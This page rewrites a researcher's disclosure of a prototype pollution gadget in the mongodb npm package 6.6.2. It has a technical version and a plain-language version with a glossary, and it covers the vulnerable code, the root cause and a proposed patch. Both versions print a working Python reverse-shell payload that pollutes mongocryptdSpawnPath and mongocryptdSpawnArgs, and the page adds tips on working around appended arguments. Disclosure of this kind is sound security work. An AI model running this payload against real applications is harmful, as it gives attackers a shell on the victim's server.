Brand-new prototype pollution gadget in MongoDB leading to RCE
The MongoDB Node.js driver reads spawn path and arguments from an options object without checking if they exist, so if an attacker can pollute the global object prototype, those properties are used to run an arbitrary binary with arbitrary arguments. This can lead to remote code execution when the application uses client-side encryption.
Recently, I uncovered a new prototype pollution gadget in mongodb NPM package version 6.6.2, that results in Remote Code Execution (RCE). Despite the excitement of this discovery, my report was closed as “informative” because its exploitation depends on the application using this library.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The research concerns a prototype pollution gadget in the mongodb NPM package, found in version 6.6.2, in the client-side encryption feature it provides. Client-side encryption lets an application encrypt specific data fields before they ever reach the database. The file that manages this helper is mongodb/lib/client-side-encryption/mongocryptd_manager.js.
The researcher found a prototype pollution gadget in that file that can lead to Remote Code Execution (RCE). The report was closed as "informative" because exploitation depends on the application using the library, but the package itself remains vulnerable, so application developers should be aware of it.
Prototype pollution is a JavaScript-specific vulnerability that allows an attacker to inject arbitrary properties into the global object prototype. If those properties are later used by the application in unsafe ways, other attacks become possible, such as authentication bypass, XSS and RCE.
To obtain RCE with prototype pollution, three components are needed:
- Sink: a dangerous JavaScript function that executes arbitrary code, for example eval or child_process.exec.
- Gadget: a property passed into a sink without sanitisation.
- Source: an entry point to the application for polluting the prototype with the vulnerable property.
A prototype pollution source alone is not a risk unless it can be combined with a valid gadget and sink. The gadget and sink do not have to live in the application's own code base; they can also arise in its dependencies. The attacker only needs to pollute properties that are handled insecurely somewhere.

Prototype pollution
Setup
To simulate the exploit, the researcher set up an example Node.js application that creates a MongoDB database connection with client-side encryption. The full example is published at https://pastebin.com/YAewQa3f.
The overall steps are:
- Install mongodb and mongodb-client-encryption packages:
npm install mongodb mongodb-client-encryption. - Create a netcat listener.
- Run the Node.js program.
Alternatively, a fully set-up Docker image for the exploit can be pulled and run following the steps at https://github.com/vuusale/proto-gadget-mongodb.
Finding it
The researcher started from the dangerous sink and then traced its arguments back to determine potential gadgets. The sink is in mongodb/lib/client-side-encryption/mongocryptd_manager.js, the file responsible for client-side encryption of specific data fields.

Vulnerable sink
In line 37, the cmdName and this.spawnArgs arguments are passed into the spawn function imported from the child_process library. The cmdName variable is declared in line 32 with the value of this.spawnPath. The next question is where these properties come from.

Vulnerable gadgets
In line 16, this.spawnPath is set to extraOptions.mongocryptdSpawnPath or an empty string. In line 19, extraOptions.mongocryptdSpawnArgs is used to populate the this.spawnArgs array. The class constructor does not check whether these properties exist in the extraOptions object before referencing them. If they are not found in extraOptions, the application searches for them in the global object prototype. That is the gadget: it reaches the spawn call through prototype pollution, allowing any binary to be run with arbitrary options.
Exploitation
Step 1: pollute the prototype
The following lines pollute the prototype before the MongoClient class is initialised:
autoEncryption.__proto__.mongocryptdSpawnPath = "python";autoEncryption.__proto__.mongocryptdSpawnArgs = ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[redacted]",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'];
mongocryptdSpawnPath specifies the binary to be run, while mongocryptdSpawnArgs indicates the CLI arguments. Here the binary is python and the arguments are a Python one-liner that opens a TCP connection to [redacted] on port 9001, duplicates the socket onto stdin, stdout and stderr, and spawns an interactive shell.
Step 2: observe the result

Reverse shell
The library also appended the arguments " -- idleShutdownTimeoutSecs" and "60" to the executed command. With some binaries, such as curl, this can cause an unknown option error. To get around this, the researcher added a "-d" option after the URL, which turns the dangling option into the request's body and prevents the exploit from failing.

Workaround for dangling option
Whenever a prototype pollution is found in a Node.js application using MongoDB, the properties described above can be set to achieve RCE.
Root cause
The constructor of the manager class reads extraOptions.mongocryptdSpawnPath and extraOptions.mongocryptdSpawnArgs without first checking that those properties exist on the extraOptions object itself. When they are absent, JavaScript's prototype chain lookup finds them on the global object prototype instead, so a polluted prototype supplies the binary path and the arguments that are eventually passed to spawn from child_process. The constructor does not check whether the properties exist on extraOptions, so a polluted prototype supplies the binary path and arguments passed to spawn.
Impact
An attacker who can pollute the prototype in a Node.js application that uses the mongodb package with client-side encryption can run an arbitrary binary with arbitrary options, which in the demonstrated case gives a reverse shell. The report notes that exploitation depends on the application using this library, and for that reason the report was closed as "informative". The package itself remains vulnerable.
Fix
MongoDB did not award a bounty for the finding. Rather than debate why MongoDB should take responsibility for fixing the vulnerability instead of placing the burden on developers using the library, the researcher implemented a patch and created a pull request in the GitHub repository.

Solution to avoid null reference
The added code ensures that the mongocryptdSpawnPath and mongocryptdSpawnArgs properties exist in the extraOptions object before they are assigned to this.spawnPath and this.spawnArgs. The researcher notes that most prototype pollution gadgets can be easily fixed by adding a few lines of code.
- Other constructor options in the same package. Look for other options read from an options object without an existence check before being passed to a dangerous function. A positive result is a polluted prototype property that changes the behaviour of a child process, file read or similar sink.
- Other dependencies that spawn processes. Search dependency code for calls to spawn, exec or execFile whose arguments come from an options object. A positive result is a binary path or argument list that can be controlled through the prototype.
- Dangling arguments. When a library appends its own arguments to a controlled command, test binaries that tolerate extra options, or use an option such as "-d" that absorbs the dangling value, as shown here. A positive result is a command that still executes despite the appended arguments.
- Timing of pollution. Pollute the prototype before the relevant class is initialised, as in the example. A positive result is that the polluted values are picked up at construction time and reach the sink.
What happened, in plain words
A security researcher found a serious flaw in a piece of software called mongodb, a package that programmers install to let their programs talk to a MongoDB database. The flaw is in version 6.6.2 of that package. If a program uses this package with client-side encryption and an attacker can pollute the prototype, the package can be made to run an arbitrary binary with arbitrary options, which in the demonstration gave a reverse shell. That is called Remote Code Execution, or RCE for short.
The researcher reported it to MongoDB, the company behind the package. The report was closed as "informative" because exploitation depends on the application using the library, and MongoDB did not award a bounty. The researcher chose not to debate with the HackerOne team about why MongoDB should take responsibility for fixing it. Instead, they wrote a fix themselves and sent it in as a proposed change to the package's code. The package was still vulnerable at the time of writing, so anyone building a program with it should know about this.
This article walks through the whole story from the beginning. You do not need to know how to program to follow it. Every technical word is explained the first time it appears, and there is a glossary at the end.
The background you need
What is a package, and what is NPM?
When programmers build software, they rarely write every piece themselves. They download ready-made building blocks called packages (also called libraries or dependencies). NPM is the biggest online shop for these building blocks in the JavaScript world. A programmer types a command and NPM fetches the package and puts it into their project.
Think of it like cooking: instead of growing your own wheat and churning your own butter, you buy flour and butter from a shop. NPM is the shop. The mongodb package is one of those shop items: it lets a program talk to a MongoDB database.
What is MongoDB, and what is client-side encryption?
MongoDB is a database: a program that stores information in an organised way so other programs can save and read it later. A shop's website might use one to store product names and prices.
Client-side encryption is a feature where the program encrypts certain fields (say, a customer's address) before sending them to the database. Encryption scrambles data so only someone with the right key can read it. "Client-side" means the scrambling happens on the side of the program that is talking to the database, not inside the database itself. That way, even someone who breaks into the database sees only scrambled text.
To do this scrambling, the mongodb package needs a small helper program called mongocryptd. The package starts this helper as a child process: a separate program launched by the main program, the way one app on your computer can open another app. The file inside the package that manages this helper is called mongodb/lib/client-side-encryption/mongocryptd_manager.js. The researcher found the flaw in that file.
What is prototype pollution?
Prototype pollution is a flaw specific to JavaScript, the programming language used by most websites and by the Node.js runtime (a way to run JavaScript outside a browser).
In JavaScript, every object (a bundle of named values, like a form with fields) is linked to a shared "parent" object called the prototype. When you ask an object for a value it does not have itself, JavaScript automatically looks it up on the prototype. This is a convenience: you can set a default once and every object inherits it.
Prototype pollution means an attacker manages to add their own values to that shared prototype. From then on, every object in the program that lacks that value will silently pick up the attacker's value instead. If some part of the program then uses that value in a dangerous way, real damage follows. The researcher lists three kinds of attacks this can enable: authentication bypass (getting into an account without the right password), XSS (cross-site scripting, where an attacker's code runs in another user's browser), and RCE (running commands on the server).
The three ingredients of an RCE via prototype pollution
To turn prototype pollution into RCE, the researcher says you need three components:
- Sink: a dangerous JavaScript function that executes arbitrary code. Examples given are eval and child_process.exec. Think of a sink as a machine that will do whatever you tell it, no questions asked.
- Gadget: a property (a named value) that gets passed into a sink without being checked first. Think of a gadget as a pipe that carries an attacker's value straight into the machine.
- Source: an entry point in the application where an attacker can inject the value into the prototype in the first place. Think of a source as a mail slot where the attacker can drop a letter.
A source on its own is not dangerous. You need all three: a way in, a pipe, and a machine. Crucially, the gadget and the sink do not have to be in the application's own code. They can be in one of its dependencies, the packages it downloaded. That is what happened here: the gadget and sink were in the mongodb package the application used.

Prototype pollution
The image illustrates the idea of prototype pollution: a value injected into the shared prototype flows into code that uses it.
How the researcher found it
Working backwards from the sink
The researcher did not start by hunting for a way in. They started at the other end: they looked for a dangerous sink, a place where the package runs a program. Then they traced backwards to see where the arguments to that sink come from. If those arguments can be influenced through the prototype, you have a gadget.
The sink they found is in mongodb/lib/client-side-encryption/mongocryptd_manager.js, the file that manages the mongocryptd helper used for client-side encryption.

Vulnerable sink
The image shows the relevant part of that file, where the helper program is launched.
In line 37 of that file, two things, cmdName and this.spawnArgs, are passed into a function called spawn, which is imported from a built-in JavaScript module called child_process. spawn is the function that starts a new program. So line 37 is the moment the package decides which program to run and with what options.
cmdName is declared in line 32, and its value is this.spawnPath. So the question becomes: where does this.spawnPath come from, and where does this.spawnArgs come from?

Vulnerable gadgets
The image shows the constructor of the class, the piece of code that runs when the object is created and sets up its initial values.
In line 16, this.spawnPath is set to extraOptions.mongocryptdSpawnPath, or to an empty string if that is not available. In line 19, extraOptions.mongocryptdSpawnArgs is used to fill the this.spawnArgs array (a list of values).
Here is the key mistake: the constructor never checks whether extraOptions actually contains those two properties before reading them. In JavaScript, if you ask an object for a property it does not have, the language quietly looks it up on the shared prototype instead. So if an attacker has polluted the prototype with mongocryptdSpawnPath and mongocryptdSpawnArgs, the constructor will find those values there and use them as if they were legitimate settings.
That is the gadget: a polluted prototype reaches the spawn call, which means any program can be run with any options.
Trying it out
Setting up a test
To prove the flaw, the researcher built a small example Node.js application that connects to a MongoDB database with client-side encryption turned on. The full example is published at https://pastebin.com/YAewQa3f.
The overall steps are:
- Install the mongodb and mongodb-client-encryption packages with the command
npm install mongodb mongodb-client-encryption. - Create a netcat listener. Netcat is a small tool that can wait for an incoming connection on a chosen port, like leaving a phone off the hook and waiting for someone to call. The listener is where the reverse shell will connect back to.
- Run the Node.js program.
If you do not want to set this up by hand, the researcher also published a fully prepared Docker image. Docker is a tool that packages a whole ready-to-run environment so you do not have to install anything yourself. The steps to pull and run it are at https://github.com/vuusale/proto-gadget-mongodb.
Step 1: pollute the prototype
The following lines pollute the prototype before the MongoClient class (the part of the package that opens the database connection) is initialised:
autoEncryption.__proto__.mongocryptdSpawnPath = "python";autoEncryption.__proto__.mongocryptdSpawnArgs = ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[redacted]",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'];
Line by line, in plain words:
autoEncryption.__proto__.mongocryptdSpawnPath = "python";takes an object called autoEncryption and reaches through its proto link to the shared prototype. It sets a property called mongocryptdSpawnPath on that shared prototype, with the value python. In other words: "whenever any object is asked for mongocryptdSpawnPath and does not have its own, hand it the word python". That word is the name of the program to run.autoEncryption.__proto__.mongocryptdSpawnArgs = ['-c', '...'];does the same for a second property, mongocryptdSpawnArgs, and gives it a list containing two items: the option -c and a long Python command. The -c option tells Python "run the code that follows". The code that follows opens a network connection to [redacted] on port 9001 (the netcat listener from the setup), then connects the program's input and output to that connection, and finally starts an interactive shell. That is a reverse shell: instead of the attacker connecting to the victim, the victim's machine connects out to the attacker, which often slips past firewalls.
So mongocryptdSpawnPath says which program to run, and mongocryptdSpawnArgs says with what options. Because the constructor in the mongodb package reads these from the prototype when they are missing from its own options, the package ends up launching Python with the attacker's command.
Step 2: see the result

Reverse shell
The image shows the reverse shell.
The researcher noticed something extra. The library also appended its own arguments, " -- idleShutdownTimeoutSecs" and "60", to the command it ran. These are options meant for the mongocryptd helper, but they get tacked onto whatever program the attacker chose. With some programs, such as curl (a tool for fetching web pages), an unexpected option like that causes an error and the exploit fails.
To get around this, the researcher added a -d option after the URL. In curl, -d means "send the following as the body of the request", so the stray option that the library appends gets swallowed as part of the request body instead of being treated as an unknown option. The exploit then works.

Workaround for dangling option
The image shows the workaround for the dangling option.
The takeaway: whenever you find prototype pollution in a Node.js application that uses MongoDB, you can set the two properties described above and get RCE.
Why it works
The root cause is simple to state. The constructor of the manager class reads extraOptions.mongocryptdSpawnPath and extraOptions.mongocryptdSpawnArgs without first checking that those properties exist on the extraOptions object itself. When they are absent, JavaScript's normal lookup walks up to the shared prototype and finds whatever an attacker put there. Those values then travel, unchecked, all the way to spawn from child_process. Nothing in between sanitises them. That is what makes the gadget usable.
What an attacker could do
If an attacker can pollute the prototype in a Node.js application that uses the mongodb package with client-side encryption, they can run any program with any options. In the demonstration, that produced a reverse shell. The report notes that this depends on the application using the library, and that is why the report was closed as "informative". The package itself remains vulnerable.
The fix
MongoDB did not award a bounty for the finding. Rather than argue about why the company should take responsibility for fixing it instead of leaving the burden on developers who use the library, the researcher wrote a patch and opened a pull request in the GitHub repository. A pull request is a proposed change to a project's code that the maintainers can review and merge.

Solution to avoid null reference
The image shows the proposed solution to avoid the null reference.
The added code makes sure that the mongocryptdSpawnPath and mongocryptdSpawnArgs properties exist on the extraOptions object itself before they are assigned to this.spawnPath and this.spawnArgs. The added code ensures the properties exist in the extraOptions object before they are assigned. The researcher points out that most prototype pollution gadgets can be fixed with a few lines of code like this.
The researcher suggests testing similar patterns elsewhere:
- Other constructor options in the same package. Look for other options read from an options object without an existence check before being passed to a dangerous function. A positive result is a polluted prototype property that changes the behaviour of a child process, a file read or a similar sink.
- Other dependencies that spawn processes. Search dependency code for calls to spawn, exec or execFile whose arguments come from an options object. A positive result is a program path or argument list that can be controlled through the prototype.
- Dangling arguments. When a library appends its own arguments to a command you control, test programs that tolerate extra options, or use an option such as -d that absorbs the dangling value, as shown here. A positive result is a command that still runs despite the appended arguments.
- Timing of pollution. Pollute the prototype before the relevant class is initialised, as in the example. A positive result is that the polluted values are picked up when the object is created and reach the sink.
Glossary
- API: a defined way for one piece of software to talk to another, like a menu of requests a program will accept.
- Authentication bypass: getting into an account or system without the correct credentials.
- Child process: a separate program started by another program.
- Client-side encryption: encrypting data in the application before it is sent to the database.
- Constructor: the part of a class that runs when an object is created and sets its starting values.
- curl: a command-line tool for fetching web pages and sending requests.
- Dependency: a package that a project relies on, downloaded from a package registry.
- Docker: a tool that packages a whole ready-to-run environment so it can be started without manual installation.
- Gadget: a property that is passed into a dangerous function without being checked, letting an attacker's value reach the sink.
- JavaScript: the programming language used by most websites and by Node.js.
- mongocryptd: the helper program the mongodb package launches to support client-side encryption.
- MongoDB: a database program that stores and organises data.
- Netcat: a small tool that can listen for or make network connections, often used to catch a reverse shell.
- Node.js: a way to run JavaScript outside a browser, commonly used for servers.
- NPM: the main package registry for JavaScript, where packages like mongodb are downloaded from.
- Object: a bundle of named values in JavaScript, like a form with fields.
- Package: a ready-made block of software that a project downloads and uses.
- Port: a numbered channel on a computer that network connections use, like a door number on a building.
- Prototype: the shared parent object in JavaScript that other objects inherit values from.
- Prototype pollution: injecting attacker-controlled values into the shared prototype so other code picks them up.
- Pull request: a proposed change to a project's code that maintainers can review and merge.
- RCE (Remote Code Execution): running commands on someone else's computer over a network.
- Reverse shell: a shell where the victim's machine connects out to the attacker, giving the attacker a command prompt on the victim.
- Sanitise: clean or check a value before using it, so it cannot do harm.
- Sink: a dangerous function that executes code or runs programs.
- Source: an entry point where an attacker can inject a value into the prototype.
- spawn: the JavaScript function that starts a new program.
- XSS (cross-site scripting): running an attacker's code in another user's browser.